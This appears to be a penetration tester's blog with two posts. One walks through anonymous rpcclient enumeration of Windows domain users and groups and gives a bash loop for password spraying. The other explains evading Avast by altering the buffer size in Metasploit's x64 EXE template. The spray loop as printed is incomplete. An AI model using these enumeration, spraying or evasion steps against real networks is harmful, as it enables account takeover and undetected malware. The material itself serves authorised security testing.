Thursday, October 29, 2015

Password spraying and other fun with rpcclient

Many of us in the penetration testing community are used to scenarios whereby we land a targeted phishing campaign within a Windows enterprise environment and have that wonderful access into the world of Windows command line networking tools.    You get your shell and before you know it, you are ready to run all your favorite enumeration commands.   These are things like:
  • C:\> NET GROUP "Domain Administrators" /DOMAIN
and so on.   Not to mention that you often have all of the wealth of Metasploit post exploitation modules, and the many wonders of various PowerShell tools such as Veil, and PowerShell Empire.

Imagine a world where all you have is a Linux host available on an internal network with no backdoor shell access to any existing Windows system.    Imagine that world wherein you are effectively segmented away from the rest of the network and cannot even capture useful network traffic using interception techniques such as Ettercap.   This was indeed the case for me recently whereby all I could do was SSH into a single Linux host I controlled.

After having not been in this situation in some time, I paused a moment before recalling the wonderful world of Samba.   In particular there are two excellent, and useful programs in the Samba suite namely "rpcclient", and its friend "smbclient".   Also, let us not forget our favorite DNS utility called "dig".

My first task was to use available reconnaissance to make informed guesses as to what the internal domain name was likely to be.   There are a few different methods to think about here but the first thing was to play with "dig" to determine DNS information of use.    I can try to look up the Windows global catalog record, and authoritative domain server records to determine domain controller addresses.   Examples as follows:

# dig @ -t NS domain.corp
# dig @ _gc.domain.corp

This will only give me answers if I have predicted or determined the correct "domain.corp" name.

Now, luckily for me I had access to internal Nessus vulnerability report data and had determined that SMB NULL sessions were permitted to some hosts.   I matched up the data to my dig results and determined that the NULL sessions were actually corresponding to domain controller addresses.   My next task was to try and enumerate user and group information from the domain controllers with "rpcclient" only available to me.   I quickly determined by using the "man" page that rpcclient could indeed perform an anonymous bind as follows:

# rpcclient -U "" -N

whereby was the chosen address of the domain controller I could anonymously bind to.   After that command was run, "rpcclient" will give you the most excellent "rpcclient> " prompt.   At this point in time, if you can use anonymous sessions, then there are some very useful commands within the tool.
  1. Enumerate Domain Users

    rpcclient $> enumdomusers
    user:[Administrator] rid:[0x1f4]
    user:[Guest] rid:[0x1f5]
    user:[krbtgt] rid:[0x1f6]
    user:[jdoe] rid:[0x44f]
  2. Enumerate Domain Groups

    rpcclient $> enumdomgroups
    group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
    group:[Domain Admins] rid:[0x200]
    group:[Domain Users] rid:[0x201]
    group:[Domain Guests] rid:[0x202]
    group:[Domain Computers] rid:[0x203]
    group:[Domain Controllers] rid:[0x204]
  3. Query Group Information and Group Membership

    rpcclient $> querygroup 0x204
        Group Name:    Domain Controllers
        Description:    All domain controllers in the domain
        Group Attribute:7
        Num Members:1

    rpcclient $> querygroupmem 0x204
        rid:[0x3e8] attr:[0x7]
    1. Query Specific User Information (including computers) by RID.

      rpcclient $> queryuser 0x3e8
          User Name   :    WIN-LV721N9S64M$
          Full Name   :   
          Home Drive  :   
          Dir Drive   :   
          Profile Path:   
          Logon Script:   
          Description :   
          Comment     :   
          Remote Dial :
          Logon Time               :    Thu, 29 Oct 2015 19:21:28 EDT
          Logoff Time              :    Wed, 31 Dec 1969 19:00:00 EST
          Kickoff Time             :    Wed, 13 Sep 30828 22:48:05 EDT
          Password last set Time   :    Mon, 12 Oct 2015 00:12:11 EDT
          Password can change Time :    Tue, 13 Oct 2015 00:12:11 EDT
          Password must change Time:    Wed, 13 Sep 30828 22:48:05 EDT
          user_rid :    0x3e8
          group_rid:    0x204
          acb_info :    0x00002100
          fields_present:    0x00ffffff
          logon_divs:    168
          bad_password_count:    0x00000000
          logon_count:    0x00000834

      So in working with these basic commands, I was able to survey the landscape of Windows domain user, and group information pretty thoroughly.

      Another technique often used during a penetration test is called "Password Spraying".  This is a particularly effective technique whereby given a list of domain users, and knowledge of very common password use, the tester attempts to perform a login for every user in the list.   The technique is very effective given that you deliberately limit the list of passwords to try to a small number.   In fact a single password per spraying attempt is advisable for the sole reason that you really do not want to lock accounts.

      Before password spraying, it is very useful to determine the Windows domain password policy using a command such as "NET ACCOUNTS /DOMAIN" in the Windows world.   However given that we don't have a Windows shell available to us, rpcclient gives us the following options.

      rpcclient $> getdompwinfo
      min_password_length: 11
      password_properties: 0x00000000

      rpcclient $> getusrdompwinfo 0x44f
      min_password_length: 11
          &info.password_properties: 0x4b58bb34 (1264106292)
                 0: DOMAIN_PASSWORD_COMPLEX 

      At least we are able to determine the crucial information about the password length.  After I write this, I will probably work out how to decode the password properties and match them back to the appropriate information but I have not yet done that task.

      In order to perform a password spray attack, the next step is to pick a common password (such as "Autumn2015") and work out our technique on how to spray using "rpcclient".   Conveniently, "rpcclient" allows us to specify some commands on the command line which is very handy.    The follow two examples show a successful logon versus a failed logon.  (password of "bbb" is the correct logon)

      # rpcclient -U "jdoe%bbb" -c "getusername;quit" Name: jdoe, Authority Name: DOMAIN

      # rpcclient -U "jdoe%aaa" -c "getusername;quit"
      Cannot connect to server.  Error was NT_STATUS_LOGON_FAILURE

      In these examples, we specifically told "rpcclient" to run two commands, these being "getusername" and then "quit" to exit out of the client.   Now we have all of the ingredients to perform a password spraying attack.   All we need is a bourne/bash shell loop and we are off to the races.   Example of a simple shell script or command line to spray given that the "enumdomusers" output is in the "domain-users.txt" file would be as follows.

      # for u in `cat domain-users.txt`; do \
          echo -n "[*] user: $u" && \
          rpcclient -U "$u%Autumn2015" \
              -c "getusername;quit"

      You know that you are successful when you see the string "Authority" appear in the output.   Lack of success for each user is going to be the "NT_STATUS_LOGON_FAILURE" message.

      If you begin to get the "ACCOUNT_LOCKED" failure you should immediately stop your spray because you have likely sprayed too many times in a short period of time.  

      Assuming you have gained access to a credential, one of the additional nice things you can do is explore the SYSVOL using the "smbclient" program.   The syntax is as follows.

      $ smbclient -U "jdoe%bbb" \\\\domain.corp\\SYSVOL
      Domain=[HOME] OS=[Windows Server 2008 R2 Standard 7601 Service Pack 1] Server=[Windows Server 2008 R2 Standard 6.1]
      smb: \> ls
        .                                   D        0  Fri Dec 12 09:46:28 2014
        ..                                  D        0  Fri Dec 12 09:46:28 2014
        domain.corp                      D        0  Fri Dec 12 09:46:28 2014

              61337 blocks of size 1048576. 38567 blocks available

      I highly recommend getting familiar with the UNIX Samba suite and in particular these tools.   They quite literally saved by bacon over the past week and you could well be in the same boat needing these fun tools in your future also.

Modifying Metasploit x64 template for AV evasion

When performing a penetration of test of organizations with Windows desktops, many testers will now resort to using tools like Veil’s Powershell Empire in order to inject shellcode directly into memory.    Without doubt, this is a fantastic technique as it avoids writing to disk and running headlong into a direct hit by most endpoint protection solutions.

xkcd: The malware aquarium

It is often the the case that we want to perform some more thorough testing by using actual malware executables, and perhaps different command and control techniques during our test.   We want to vary our techniques in order to find out where the clipping threshold of defense technologies is set and be able to comprehensively report back on what techniques were effective on a system versus what techniques were not.   In most environments, the most commonly deployed endpoint protection technology is an Antivirus engine.   

Antivirus has become very effective at detecting off-the-shelf 32-bit malware executables from the Metasploit framework but tends to be lacking in the 64-bit arena.   Additionally, we find that network resident defenses are well-tuned to 32-bit second stage payloads from Metasploit but less capable of seeing a 64-bit second stage payload.    In my experience, the AV engines are not exclusively looking at the shellcode but also matching on the assembly code that constitutes the stub loader for Metasploit executables generated by the msfvenom command.

When Metasploit payloads are generated they use a standard template executable in both the 32-bit and 64-bit cases.  The standard templates are in the form of precompiled executables in the framework’s data directory.   In addition to the templates, the Metasploit project provides a source code directory in the framework.

Focusing specifically on Windows, we can find both the 32-bit template source in C and the 64-bit template source in assembly, both of which are in the “/usr/share/metasploit-framework/data/templates/src/pe/exe” directory on a KALI distribution.

In both the 32 and 64-bit cases, the template source has a very similar function.   It allocates a buffer of 4096 bytes in memory and puts the string “PAYLOAD:” at the beginning of this buffer.   The string “PAYLOAD:” is placed into the buffer as a constant that indicates a starting place for “msfvenom” to use when creating a new payload executable.

That starting place is an address in memory which msfvenom knows can be used to copy shellcode into.  The size of the available buffer for shellcode is the allocated buffer size in the template EXE minus eight (the length of the string “PAYLOAD:”).   Msfvenom will take the chosen payload, encode it with the appropriate encoder (if specified), and prepend no-operation (NOP) sled bytes if also chosen.

The final executable in the 32-bit case has been compiled from C source code.   In the C source code, the shellcode is called by casting the payload buffer to a pointer to a function (which has no function parameters).

The final executable in the 64-bit case has been compiled from assembly code.  The assembly code function allocates an executable buffer of memory, copies the shellcode into that memory, and executes it using a CALL instruction.  This is a very similar technique used by many different tools, including the awesome Powershell toys we all use.
 32-bit source code for EXE template

 64-bit assembly source code for EXE template

Armed with this knowledge, I decided to see how one single AV engine (Avast) reacted when I simply took the 64-bit executable template and copied it to a Windows system.   Note that I did not even put any shellcode payload into the EXE but only took the template itself.

It was not really surprising that Avast immediately triggered an alert.   Let's face it, matching on the assembly opcodes for the template is a pretty easy way of triggering an alert without having to actually examine the shellcode payload.

 Avast tells me this is bad!

Staying focused on the 64-bit case, there is absolutely no reason why I cannot recompile this assembly code and modify it as much or as little as I want to.   We only need to make sure that, at some point, it calls the two required bits of code to copy the payload into an executable memory segment we allocated and then executes it.

Case 1:  For my first level of fun, I simply recompiled the same source assembly code.   Not surprisingly, Avast flagged this.

Case 2: I changed the buffer length to 8192 bytes, and recompiled.  Nothing other than the buffer length was changed.   Avast completely failed this test by not flagging a single alert.  How do I know?  Well I compiled it on the system that Avast was also running.  Note that the instructions for compiling the assembly code are helpfully listed in the commands of the source code.

Last section of x64 assembly listing

Case 3: I modified all of the values in the assembly code to 8192, then took my newly generated executable template and created two different payloads with it.   One of the payloads used the 64-bit XOR encoding on the shellcode, while the other used no encoding at all.

I then copied the payload files to my Windows 7 machine running Avast.   I forced Avast to scan them, and they passed with flying colors!   Then I executed them and shell was mine.

With case 3, I was particularly amused at Avast’s DEEP SCAN, which seemed to indicate that it was looking really hard at what was going on!   But then, it told me that all was fine and the malware was happily executed.

New assembly source code listing with 8192 buffer length.

64-bit payload using new template, and no encoding.

64-bit payload using new template and XOR encoding

New payloads in a directory on the Windows system!

Go ahead and scan my directory...

I am safe, what a relief!

Oh no, I might get caught here!  Phew...
And now it’s shell time.


My theory and practical experience was that AV vendors are looking at the templates rather than the shellcode itself.   In this specific instance, we saw immediate success with only a minor assembly code modification and absolutely no encoding of a 64-bit shellcode payload.

Why choose Avast?  No specific reason other than I needed a solution in a hurry to execute my test.   I will be repeating the experiment with other AV engines to see what my mileage looks like.   There are many possible variations on this technique but like so much in life, it is better to start simple and ramp up as needed.    Happy hunting!